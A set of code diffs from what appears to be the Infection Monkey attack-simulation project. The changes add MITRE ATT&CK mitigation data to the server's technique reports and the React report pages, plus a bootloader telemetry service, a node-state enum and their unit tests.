data.update(T1003.get_mitigation_by_status(status))
|
||||
data['stolen_creds'] = ReportService.get_stolen_creds()
|
||||
data['stolen_creds'].extend(ReportService.get_ssh_keys())
|
||||
return data
|
||||
|
|
|
@ -30,4 +30,5 @@ class T1059(AttackTechnique):
|
|||
else:
|
||||
status = ScanStatus.UNSCANNED.value
|
||||
data.update(T1059.get_message_and_status(status))
|
||||
data.update(T1059.get_mitigation_by_status(status))
|
||||
return data
|
||||
|
|
|
@ -40,4 +40,5 @@ class T1075(AttackTechnique):
|
|||
else:
|
||||
status = ScanStatus.UNSCANNED.value
|
||||
data.update(T1075.get_message_and_status(status))
|
||||
data.update(T1075.get_mitigation_by_status(status))
|
||||
return data
|
||||
|
|
|
@ -44,5 +44,6 @@ class T1082(AttackTechnique):
|
|||
status = ScanStatus.USED.value
|
||||
else:
|
||||
status = ScanStatus.UNSCANNED.value
|
||||
data.update(T1082.get_mitigation_by_status(status))
|
||||
data.update(T1082.get_message_and_status(status))
|
||||
return data
|
||||
|
|
|
@ -31,5 +31,7 @@ class T1086(AttackTechnique):
|
|||
status = ScanStatus.USED.value
|
||||
else:
|
||||
status = ScanStatus.UNSCANNED.value
|
||||
|
||||
data.update(T1086.get_mitigation_by_status(status))
|
||||
data.update(T1086.get_message_and_status(status))
|
||||
return data
|
||||
|
|
|
@ -23,6 +23,7 @@ class T1210(AttackTechnique):
|
|||
else:
|
||||
status = ScanStatus.UNSCANNED.value
|
||||
data.update(T1210.get_message_and_status(status))
|
||||
data.update(T1210.get_mitigation_by_status(status))
|
||||
data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services})
|
||||
return data
|
||||
|
||||
|
|
|
@ -5,6 +5,7 @@ from monkey_island.cc.database import mongo
|
|||
from common.utils.attack_utils import ScanStatus
|
||||
from monkey_island.cc.services.attack.attack_config import AttackConfig
|
||||
from common.utils.code_utils import abstractstatic
|
||||
from cc.models.attack.attack_mitigations import AttackMitigations
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
@ -40,7 +41,7 @@ class AttackTechnique(object, metaclass=abc.ABCMeta):
|
|||
@abc.abstractmethod
|
||||
def tech_id(self):
|
||||
"""
|
||||
:return: Message that will be displayed in case of attack technique not being scanned.
|
||||
:return: Id of attack technique. E.g. T1003
|
||||
"""
|
||||
pass
|
||||
|
||||
|
@ -111,10 +112,21 @@ class AttackTechnique(object, metaclass=abc.ABCMeta):
|
|||
data.update({'status': status,
|
||||
'title': title,
|
||||
'message': cls.get_message_by_status(status)})
|
||||
data.update(cls.get_mitigation_by_status(status))
|
||||
return data
|
||||
|
||||
@classmethod
|
||||
def get_base_data_by_status(cls, status):
|
||||
data = cls.get_message_and_status(status)
|
||||
data.update({'title': cls.technique_title()})
|
||||
data.update(cls.get_mitigation_by_status(status))
|
||||
return data
|
||||
|
||||
@classmethod
|
||||
def get_mitigation_by_status(cls, status: ScanStatus) -> dict:
|
||||
if status == ScanStatus.USED.value:
|
||||
mitigation_document = AttackMitigations.get_mitigation_by_technique_id(str(cls.tech_id))
|
||||
return {'mitigations': mitigation_document.to_mongo().to_dict()['mitigations']}
|
||||
else:
|
||||
return {}
|
||||
|
||||
|
|
|
@ -0,0 +1,15 @@
|
|||
from unittest import TestCase
|
||||
|
||||
from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface
|
||||
|
||||
|
||||
class TestMitreApiInterface(TestCase):
|
||||
|
||||
def test_get_all_mitigations(self):
|
||||
mitigations = MitreApiInterface.get_all_mitigations()
|
||||
self.assertIsNotNone((len(mitigations.items()) >= 282))
|
||||
mitigation = next(iter(mitigations.values()))
|
||||
self.assertEqual(mitigation['type'], "course-of-action")
|
||||
self.assertIsNotNone(mitigation['name'])
|
||||
self.assertIsNotNone(mitigation['description'])
|
||||
self.assertIsNotNone(mitigation['external_references'])
|
|
@ -0,0 +1,69 @@
|
|||
from typing import Dict, List
|
||||
|
||||
from bson import ObjectId
|
||||
|
||||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.services.node import NodeService, NodeCreationException
|
||||
from monkey_island.cc.services.utils.node_states import NodeStates
|
||||
from monkey_island.cc.services.utils.bootloader_config import SUPPORTED_WINDOWS_VERSIONS, MIN_GLIBC_VERSION
|
||||
|
||||
|
||||
class BootloaderService:
|
||||
|
||||
@staticmethod
|
||||
def parse_bootloader_telem(telem: Dict) -> bool:
|
||||
telem['ips'] = BootloaderService.remove_local_ips(telem['ips'])
|
||||
if telem['os_version'] == "":
|
||||
telem['os_version'] = "Unknown OS"
|
||||
|
||||
telem_id = BootloaderService.get_mongo_id_for_bootloader_telem(telem)
|
||||
mongo.db.bootloader_telems.update({'_id': telem_id}, {'$setOnInsert': telem}, upsert=True)
|
||||
|
||||
will_monkey_run = BootloaderService.is_os_compatible(telem)
|
||||
try:
|
||||
node = NodeService.get_or_create_node_from_bootloader_telem(telem, will_monkey_run)
|
||||
except NodeCreationException:
|
||||
# Didn't find the node, but allow monkey to run anyways
|
||||
return True
|
||||
|
||||
node_group = BootloaderService.get_next_node_state(node, telem['system'], will_monkey_run)
|
||||
if 'group' not in node or node['group'] != node_group.value:
|
||||
NodeService.set_node_group(node['_id'], node_group)
|
||||
return will_monkey_run
|
||||
|
||||
@staticmethod
|
||||
def get_next_node_state(node: Dict, system: str, will_monkey_run: bool) -> NodeStates:
|
||||
group_keywords = [system, 'monkey']
|
||||
if 'group' in node and node['group'] == 'island':
|
||||
group_keywords.extend(['island', 'starting'])
|
||||
else:
|
||||
group_keywords.append('starting') if will_monkey_run else group_keywords.append('old')
|
||||
node_group = NodeStates.get_by_keywords(group_keywords)
|
||||
return node_group
|
||||
|
||||
@staticmethod
|
||||
def get_mongo_id_for_bootloader_telem(bootloader_telem) -> ObjectId:
|
||||
ip_hash = hex(hash(str(bootloader_telem['ips'])))[3:15]
|
||||
hostname_hash = hex(hash(bootloader_telem['hostname']))[3:15]
|
||||
return ObjectId(ip_hash + hostname_hash)
|
||||
|
||||
@staticmethod
|
||||
def is_os_compatible(bootloader_data) -> bool:
|
||||
if bootloader_data['system'] == 'windows':
|
||||
return BootloaderService.is_windows_version_supported(bootloader_data['os_version'])
|
||||
elif bootloader_data['system'] == 'linux':
|
||||
return BootloaderService.is_glibc_supported(bootloader_data['glibc_version'])
|
||||
|
||||
@staticmethod
|
||||
def is_windows_version_supported(windows_version) -> bool:
|
||||
return SUPPORTED_WINDOWS_VERSIONS.get(windows_version, True)
|
||||
|
||||
@staticmethod
|
||||
def is_glibc_supported(glibc_version_string) -> bool:
|
||||
glibc_version_string = glibc_version_string.lower()
|
||||
glibc_version = glibc_version_string.split(' ')[-1]
|
||||
return glibc_version >= str(MIN_GLIBC_VERSION) and 'eglibc' not in glibc_version_string
|
||||
|
||||
@staticmethod
|
||||
def remove_local_ips(ip_list) -> List[str]:
|
||||
return [i for i in ip_list if not i.startswith("127")]
|
|
@ -0,0 +1,35 @@
|
|||
from unittest import TestCase
|
||||
|
||||
from monkey_island.cc.services.bootloader import BootloaderService
|
||||
|
||||
WINDOWS_VERSIONS = {
|
||||
"5.0": "Windows 2000",
|
||||
"5.1": "Windows XP",
|
||||
"5.2": "Windows XP/server 2003",
|
||||
"6.0": "Windows Vista/server 2008",
|
||||
"6.1": "Windows 7/server 2008R2",
|
||||
"6.2": "Windows 8/server 2012",
|
||||
"6.3": "Windows 8.1/server 2012R2",
|
||||
"10.0": "Windows 10/server 2016-2019"
|
||||
}
|
||||
|
||||
MIN_GLIBC_VERSION = 2.14
|
||||
|
||||
|
||||
class TestBootloaderService(TestCase):
|
||||
|
||||
def test_is_glibc_supported(self):
|
||||
str1 = "ldd (Ubuntu EGLIBC 2.15-0ubuntu10) 2.15"
|
||||
str2 = "ldd (GNU libc) 2.12"
|
||||
str3 = "ldd (GNU libc) 2.28"
|
||||
str4 = "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23"
|
||||
self.assertTrue(not BootloaderService.is_glibc_supported(str1) and
|
||||
not BootloaderService.is_glibc_supported(str2) and
|
||||
BootloaderService.is_glibc_supported(str3) and
|
||||
BootloaderService.is_glibc_supported(str4))
|
||||
|
||||
def test_remove_local_ips(self):
|
||||
ips = ["127.1.1.1", "127.0.0.1", "192.168.56.1"]
|
||||
ips = BootloaderService.remove_local_ips(ips)
|
||||
self.assertEqual(["192.168.56.1"], ips)
|
||||
|
|
@ -3,6 +3,7 @@ import logging
|
|||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.services.attack.attack_config import AttackConfig
|
||||
from monkey_island.cc.services.post_breach_files import remove_PBA_files
|
||||
from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations
|
||||
from flask import jsonify
|
||||
from monkey_island.cc.database import mongo
|
||||
|
||||
|
@ -15,14 +16,21 @@ class Database(object):
|
|||
|
||||
@staticmethod
|
||||
def reset_db():
|
||||
logger.info('Resetting database')
|
||||
remove_PBA_files()
|
||||
# We can't drop system collections.
|
||||
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
|
||||
[Database.drop_collection(x) for x in mongo.db.collection_names() if not x.startswith('system.')
|
||||
and not x == AttackMitigations.COLLECTION_NAME]
|
||||
ConfigService.init_config()
|
||||
AttackConfig.reset_config()
|
||||
logger.info('DB was reset')
|
||||
return jsonify(status='OK')
|
||||
|
||||
@staticmethod
|
||||
def drop_collection(collection_name: str):
|
||||
mongo.db[collection_name].drop()
|
||||
logger.info("Dropped collection {}".format(collection_name))
|
||||
|
||||
@staticmethod
|
||||
def init_db():
|
||||
if not mongo.db.collection_names():
|
||||
|
|
|
@ -2,7 +2,7 @@ from bson import ObjectId
|
|||
|
||||
from monkey_island.cc.database import mongo
|
||||
import monkey_island.cc.services.node
|
||||
from monkey_island.cc.models import Monkey
|
||||
from monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError
|
||||
|
||||
__author__ = "itay.mizeretz"
|
||||
|
||||
|
@ -145,7 +145,10 @@ class EdgeService:
|
|||
from_id = edge["from"]
|
||||
to_id = edge["to"]
|
||||
|
||||
try:
|
||||
from_label = Monkey.get_label_by_id(from_id)
|
||||
except MonkeyNotFoundError:
|
||||
from_label = node_service.get_node_by_id(from_id)['domain_name']
|
||||
|
||||
if to_id == ObjectId("000000000000000000000000"):
|
||||
to_label = 'MonkeyIsland'
|
||||
|
|
|
@ -1,4 +1,6 @@
|
|||
from datetime import datetime, timedelta
|
||||
from typing import Dict
|
||||
import socket
|
||||
|
||||
from bson import ObjectId
|
||||
|
||||
|
@ -6,9 +8,9 @@ import monkey_island.cc.services.log
|
|||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.models import Monkey
|
||||
from monkey_island.cc.services.edge import EdgeService
|
||||
from monkey_island.cc.utils import local_ip_addresses
|
||||
import socket
|
||||
from monkey_island.cc.utils import local_ip_addresses, is_local_ips
|
||||
from monkey_island.cc import models
|
||||
from monkey_island.cc.services.utils.node_states import NodeStates
|
||||
|
||||
__author__ = "itay.mizeretz"
|
||||
|
||||
|
@ -122,20 +124,25 @@ class NodeService:
|
|||
|
||||
@staticmethod
|
||||
def get_monkey_group(monkey):
|
||||
keywords = []
|
||||
if len(set(monkey["ip_addresses"]).intersection(local_ip_addresses())) != 0:
|
||||
monkey_type = "island_monkey"
|
||||
keywords.extend(["island", "monkey"])
|
||||
else:
|
||||
monkey_type = "manual" if NodeService.get_monkey_manual_run(monkey) else "monkey"
|
||||
keywords.append(monkey_type)
|
||||
|
||||
monkey_os = NodeService.get_monkey_os(monkey)
|
||||
monkey_running = "" if Monkey.get_single_monkey_by_id(monkey["_id"]).is_dead() else "_running"
|
||||
return "%s_%s%s" % (monkey_type, monkey_os, monkey_running)
|
||||
keywords.append(NodeService.get_monkey_os(monkey))
|
||||
if not Monkey.get_single_monkey_by_id(monkey["_id"]).is_dead():
|
||||
keywords.append("running")
|
||||
return NodeStates.get_by_keywords(keywords).value
|
||||
|
||||
@staticmethod
|
||||
def get_node_group(node):
|
||||
def get_node_group(node) -> str:
|
||||
if 'group' in node and node['group']:
|
||||
return node['group']
|
||||
node_type = "exploited" if node.get("exploited") else "clean"
|
||||
node_os = NodeService.get_node_os(node)
|
||||
return "%s_%s" % (node_type, node_os)
|
||||
return NodeStates.get_by_keywords([node_type, node_os]).value
|
||||
|
||||
@staticmethod
|
||||
def monkey_to_net_node(monkey, for_report=False):
|
||||
|
@ -166,6 +173,12 @@ class NodeService:
|
|||
"os": NodeService.get_node_os(node)
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
def set_node_group(node_id: str, node_group: NodeStates):
|
||||
mongo.db.node.update({"_id": node_id},
|
||||
{'$set': {'group': node_group.value}},
|
||||
upsert=False)
|
||||
|
||||
@staticmethod
|
||||
def unset_all_monkey_tunnels(monkey_id):
|
||||
mongo.db.monkey.update(
|
||||
|
@ -207,6 +220,49 @@ class NodeService:
|
|||
})
|
||||
return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id})
|
||||
|
||||
@staticmethod
|
||||
def create_node_from_bootloader_telem(bootloader_telem: Dict, will_monkey_run: bool):
|
||||
new_node_insert_result = mongo.db.node.insert_one(
|
||||
{
|
||||
"ip_addresses": bootloader_telem['ips'],
|
||||
"domain_name": bootloader_telem['hostname'],
|
||||
"will_monkey_run": will_monkey_run,
|
||||
"exploited": False,
|
||||
"creds": [],
|
||||
"os":
|
||||
{
|
||||
"type": bootloader_telem['system'],
|
||||
"version": bootloader_telem['os_version']
|
||||
}
|
||||
})
|
||||
return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id})
|
||||
|
||||
@staticmethod
|
||||
def get_or_create_node_from_bootloader_telem(bootloader_telem: Dict, will_monkey_run: bool) -> Dict:
|
||||
if is_local_ips(bootloader_telem['ips']):
|
||||
raise NodeCreationException("Bootloader ran on island, no need to create new node.")
|
||||
|
||||
new_node = mongo.db.node.find_one({"ip_addresses": {"$in": bootloader_telem['ips']}})
|
||||
# Temporary workaround to not create a node after monkey finishes
|
||||
monkey_node = mongo.db.monkey.find_one({"ip_addresses": {"$in": bootloader_telem['ips']}})
|
||||
if monkey_node:
|
||||
# Don't create new node, monkey node is already present
|
||||
return monkey_node
|
||||
|
||||
if new_node is None:
|
||||
new_node = NodeService.create_node_from_bootloader_telem(bootloader_telem, will_monkey_run)
|
||||
if bootloader_telem['tunnel']:
|
||||
dst_node = NodeService.get_node_or_monkey_by_ip(bootloader_telem['tunnel'])
|
||||
else:
|
||||
dst_node = NodeService.get_monkey_island_node()
|
||||
edge = EdgeService.get_or_create_edge(new_node['_id'], dst_node['id'])
|
||||
mongo.db.edge.update({"_id": edge["_id"]},
|
||||
{'$set': {'tunnel': bool(bootloader_telem['tunnel']),
|
||||
'ip_address': bootloader_telem['ips'][0],
|
||||
'group': NodeStates.get_by_keywords(['island']).value}},
|
||||
upsert=False)
|
||||
return new_node
|
||||
|
||||
@staticmethod
|
||||
def get_or_create_node(ip_address, domain_name=''):
|
||||
new_node = mongo.db.node.find_one({"ip_addresses": ip_address})
|
||||
|
@ -354,3 +410,6 @@ class NodeService:
|
|||
@staticmethod
|
||||
def get_hostname_by_id(node_id):
|
||||
return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1}))
|
||||
|
||||
class NodeCreationException(Exception):
|
||||
pass
|
||||
|
|
|
@ -0,0 +1,12 @@
|
|||
MIN_GLIBC_VERSION = 2.14
|
||||
|
||||
SUPPORTED_WINDOWS_VERSIONS = {
|
||||
"xp_or_lower": False,
|
||||
"vista": False,
|
||||
"vista_sp1": False,
|
||||
"vista_sp2": True,
|
||||
"windows7": True,
|
||||
"windows7_sp1": True,
|
||||
"windows8_or_greater": True,
|
||||
}
|
||||
|
|
@ -0,0 +1,56 @@
|
|||
from __future__ import annotations
|
||||
|
||||
from enum import Enum
|
||||
from typing import List
|
||||
import collections
|
||||
|
||||
|
||||
class NodeStates(Enum):
|
||||
CLEAN_UNKNOWN = 'clean_unknown'
|
||||
CLEAN_LINUX = 'clean_linux'
|
||||
CLEAN_WINDOWS = 'clean_windows'
|
||||
EXPLOITED_LINUX = 'exploited_linux'
|
||||
EXPLOITED_WINDOWS = 'exploited_windows'
|
||||
ISLAND = 'island'
|
||||
ISLAND_MONKEY_LINUX = 'island_monkey_linux'
|
||||
ISLAND_MONKEY_LINUX_RUNNING = 'island_monkey_linux_running'
|
||||
ISLAND_MONKEY_LINUX_STARTING = 'island_monkey_linux_starting'
|
||||
ISLAND_MONKEY_WINDOWS = 'island_monkey_windows'
|
||||
ISLAND_MONKEY_WINDOWS_RUNNING = 'island_monkey_windows_running'
|
||||
ISLAND_MONKEY_WINDOWS_STARTING = 'island_monkey_windows_starting'
|
||||
MANUAL_LINUX = 'manual_linux'
|
||||
MANUAL_LINUX_RUNNING = 'manual_linux_running'
|
||||
MANUAL_WINDOWS = 'manual_windows'
|
||||
MANUAL_WINDOWS_RUNNING = 'manual_windows_running'
|
||||
MONKEY_LINUX = 'monkey_linux'
|
||||
MONKEY_LINUX_RUNNING = 'monkey_linux_running'
|
||||
MONKEY_WINDOWS = 'monkey_windows'
|
||||
MONKEY_WINDOWS_RUNNING = 'monkey_windows_running'
|
||||
MONKEY_WINDOWS_STARTING = 'monkey_windows_starting'
|
||||
MONKEY_LINUX_STARTING = 'monkey_linux_starting'
|
||||
MONKEY_WINDOWS_OLD = 'monkey_windows_old'
|
||||
MONKEY_LINUX_OLD = 'monkey_linux_old'
|
||||
|
||||
@staticmethod
|
||||
def get_by_keywords(keywords: List) -> NodeStates:
|
||||
potential_groups = [i for i in NodeStates if NodeStates._is_state_from_keywords(i, keywords)]
|
||||
if len(potential_groups) > 1:
|
||||
raise MultipleGroupsFoundException("Multiple groups contain provided keywords. "
|
||||
"Manually build group string to ensure keyword order.")
|
||||
elif len(potential_groups) == 0:
|
||||
raise NoGroupsFoundException("No groups found with provided keywords. "
|
||||
"Check for typos and make sure group codes want to find exists.")
|
||||
return potential_groups[0]
|
||||
|
||||
@staticmethod
|
||||
def _is_state_from_keywords(group, keywords) -> bool:
|
||||
group_keywords = group.value.split("_")
|
||||
return collections.Counter(group_keywords) == collections.Counter(keywords)
|
||||
|
||||
|
||||
class MultipleGroupsFoundException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class NoGroupsFoundException(Exception):
|
||||
pass
|
|
@ -0,0 +1,15 @@
|
|||
from unittest import TestCase
|
||||
|
||||
from monkey_island.cc.services.utils.node_states import NodeStates, NoGroupsFoundException
|
||||
|
||||
|
||||
class TestNodeGroups(TestCase):
|
||||
|
||||
def test_get_group_by_keywords(self):
|
||||
self.assertEqual(NodeStates.get_by_keywords(['island']), NodeStates.ISLAND)
|
||||
self.assertEqual(NodeStates.get_by_keywords(['running', 'linux', 'monkey']), NodeStates.MONKEY_LINUX_RUNNING)
|
||||
self.assertEqual(NodeStates.get_by_keywords(['monkey', 'linux', 'running']), NodeStates.MONKEY_LINUX_RUNNING)
|
||||
with self.assertRaises(NoGroupsFoundException):
|
||||
NodeStates.get_by_keywords(['bogus', 'values', 'from', 'long', 'list', 'should', 'fail'])
|
||||
|
||||
|
|
@ -0,0 +1,42 @@
|
|||
import logging
|
||||
|
||||
from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface
|
||||
from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations
|
||||
from monkey_island.cc.database import mongo
|
||||
from pymongo import errors
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def setup():
|
||||
logger.info("Setting up the Monkey Island, this might take a while...")
|
||||
try_store_mitigations_on_mongo()
|
||||
|
||||
|
||||
def try_store_mitigations_on_mongo():
|
||||
mitigation_collection_name = AttackMitigations.COLLECTION_NAME
|
||||
try:
|
||||
mongo.db.validate_collection(mitigation_collection_name)
|
||||
if mongo.db.attack_mitigations.count() == 0:
|
||||
raise errors.OperationFailure("Mitigation collection empty. Try dropping the collection and running again")
|
||||
except errors.OperationFailure:
|
||||
try:
|
||||
mongo.db.create_collection(mitigation_collection_name)
|
||||
except errors.CollectionInvalid:
|
||||
pass
|
||||
finally:
|
||||
store_mitigations_on_mongo()
|
||||
|
||||
|
||||
def store_mitigations_on_mongo():
|
||||
stix2_mitigations = MitreApiInterface.get_all_mitigations()
|
||||
mongo_mitigations = AttackMitigations.dict_from_stix2_attack_patterns(MitreApiInterface.get_all_attack_techniques())
|
||||
mitigation_technique_relationships = MitreApiInterface.get_technique_and_mitigation_relationships()
|
||||
for relationship in mitigation_technique_relationships:
|
||||
mongo_mitigations[relationship['target_ref']].add_mitigation(stix2_mitigations[relationship['source_ref']])
|
||||
for relationship in mitigation_technique_relationships:
|
||||
mongo_mitigations[relationship['target_ref']].\
|
||||
add_no_mitigations_info(stix2_mitigations[relationship['source_ref']])
|
||||
for key, mongo_object in mongo_mitigations.items():
|
||||
mongo_object.save()
|
|
@ -10567,6 +10567,11 @@
|
|||
"object-visit": "1.0.1"
|
||||
}
|
||||
},
|
||||
"marked": {
|
||||
"version": "0.8.2",
|
||||
"resolved": "https://registry.npmjs.org/marked/-/marked-0.8.2.tgz",
|
||||
"integrity": "sha512-EGwzEeCcLniFX51DhTpmTom+dSA/MG/OBUDjnWtHbEnjAH180VzUeAw+oE4+Zv+CoYBWyRlYOTR0N8SO9R1PVw=="
|
||||
},
|
||||
"md5.js": {
|
||||
"version": "1.3.5",
|
||||
"resolved": "https://registry.npmjs.org/md5.js/-/md5.js-1.3.5.tgz",
|
||||
|
|
|
@ -81,6 +81,7 @@
|
|||
"filepond": "^4.7.3",
|
||||
"json-loader": "^0.5.7",
|
||||
"jwt-decode": "^2.2.0",
|
||||
"marked": "^0.8.2",
|
||||
"moment": "^2.24.0",
|
||||
"node-sass": "^4.13.0",
|
||||
"normalize.css": "^8.0.0",
|
||||
|
|
|
@ -0,0 +1,76 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import marked from 'marked';
|
||||
import '../../../styles/report/AttackReport.scss';
|
||||
|
||||
|
||||
class MitigationsComponent extends React.Component {
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
if (typeof this.props.mitigations !== 'undefined' && this.props.mitigations.length > 0){
|
||||
this.state = {mitigations: this.props.mitigations};
|
||||
} else {
|
||||
this.state = {mitigations: null}
|
||||
}
|
||||
}
|
||||
|
||||
static createRows(descriptions, references) {
|
||||
let rows = [];
|
||||
for(let i = 0; i < descriptions.length; i++){
|
||||
rows[i] = {'description': descriptions[i], 'reference': references[i]};
|
||||
}
|
||||
return rows;
|
||||
}
|
||||
|
||||
static parseDescription(description) {
|
||||
const citationRegex = /\(Citation:.*\)/gi;
|
||||
const emptyLineRegex = /^\s*[\r\n]/gm;
|
||||
description = description.replace(citationRegex, '');
|
||||
description = description.replace(emptyLineRegex, '');
|
||||
description = marked(description);
|
||||
return description;
|
||||
}
|
||||
|
||||
static getMitigations() {
|
||||
return ([{
|
||||
Header: 'Mitigations',
|
||||
style: {'text-align': 'left'},
|
||||
columns: [
|
||||
{ id: 'name',
|
||||
accessor: x => this.getMitigationName(x.name, x.url),
|
||||
width: 200},
|
||||
{ id: 'description',
|
||||
accessor: x => (<div dangerouslySetInnerHTML={{__html: this.parseDescription(x.description)}} />),
|
||||
style: {'whiteSpace': 'unset'}}
|
||||
]
|
||||
}])
|
||||
}
|
||||
|
||||
static getMitigationName(name, url) {
|
||||
if(url){
|
||||
return (<a href={url} target={'_blank'}>{name}</a>)
|
||||
} else {
|
||||
return (<p>{name}</p>)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
render() {
|
||||
return (
|
||||
<div>
|
||||
<br/>
|
||||
{this.state.mitigations ?
|
||||
<ReactTable
|
||||
columns={MitigationsComponent.getMitigations()}
|
||||
data={this.state.mitigations}
|
||||
showPagination={false}
|
||||
defaultPageSize={this.state.mitigations.length}
|
||||
className={'attack-mitigation'}
|
||||
/> : ''}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default MitigationsComponent;
|
|
@ -2,6 +2,7 @@ import React from 'react';
|
|||
import '../../report-components/security/StolenPasswords'
|
||||
import StolenPasswordsComponent from '../../report-components/security/StolenPasswords';
|
||||
import {ScanStatus} from './Helpers'
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
|
||||
class T1003 extends React.Component {
|
||||
|
@ -19,6 +20,7 @@ class T1003 extends React.Component {
|
|||
<StolenPasswordsComponent
|
||||
data={this.props.data.stolen_creds}/>
|
||||
: ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {renderMachineFromSystemData, ScanStatus} from './Helpers';
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
class T1005 extends React.Component {
|
||||
|
||||
|
@ -36,6 +37,7 @@ class T1005 extends React.Component {
|
|||
showPagination={false}
|
||||
defaultPageSize={this.props.data.collected_data.length}
|
||||
/> : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from './Helpers'
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
|
||||
class T1016 extends React.Component {
|
||||
|
@ -36,6 +37,7 @@ class T1016 extends React.Component {
|
|||
showPagination={false}
|
||||
defaultPageSize={this.props.data.network_info.length}
|
||||
/> : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {renderMachineFromSystemData, renderMachine, ScanStatus} from './Helpers'
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
|
||||
class T1018 extends React.Component {
|
||||
|
@ -50,6 +51,7 @@ class T1018 extends React.Component {
|
|||
showPagination={false}
|
||||
defaultPageSize={this.props.data.scan_info.length}
|
||||
/> : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {renderMachine, ScanStatus} from './Helpers'
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
|
||||
class T1021 extends React.Component {
|
||||
|
@ -16,7 +17,13 @@ class T1021 extends React.Component {
|
|||
Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
|
||||
style: {'whiteSpace': 'unset'}, width: 160
|
||||
},
|
||||
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}, width: 100},
|
||||
{
|
||||
Header: 'Service',
|
||||
id: 'service',
|
||||
accessor: x => x.info.display_name,
|
||||
style: {'whiteSpace': 'unset'},
|
||||
width: 100
|
||||
},
|
||||
{
|
||||
Header: 'Valid account used',
|
||||
id: 'credentials',
|
||||
|
@ -43,6 +50,7 @@ class T1021 extends React.Component {
|
|||
showPagination={false}
|
||||
defaultPageSize={this.props.data.services.length}
|
||||
/> : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {getUsageColumns} from './Helpers'
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
|
||||
class T1035 extends React.Component {
|
||||
|
@ -21,6 +22,7 @@ class T1035 extends React.Component {
|
|||
showPagination={false}
|
||||
defaultPageSize={this.props.data.services.length}
|
||||
/> : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {ScanStatus} from './Helpers';
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
class T1041 extends React.Component {
|
||||
|
||||
|
@ -30,6 +31,7 @@ class T1041 extends React.Component {
|
|||
showPagination={false}
|
||||
defaultPageSize={this.props.data.command_control_channel.length}
|
||||
/> : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {renderMachine, ScanStatus} from './Helpers'
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
|
||||
class T1059 extends React.Component {
|
||||
|
@ -38,6 +39,7 @@ class T1059 extends React.Component {
|
|||
showPagination={false}
|
||||
defaultPageSize={this.props.data.cmds.length}
|
||||
/> : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {getUsageColumns} from './Helpers'
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
|
||||
class T1064 extends React.Component {
|
||||
|
@ -21,6 +22,7 @@ class T1064 extends React.Component {
|
|||
showPagination={false}
|
||||
defaultPageSize={this.props.data.scripts.length}
|
||||
/> : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
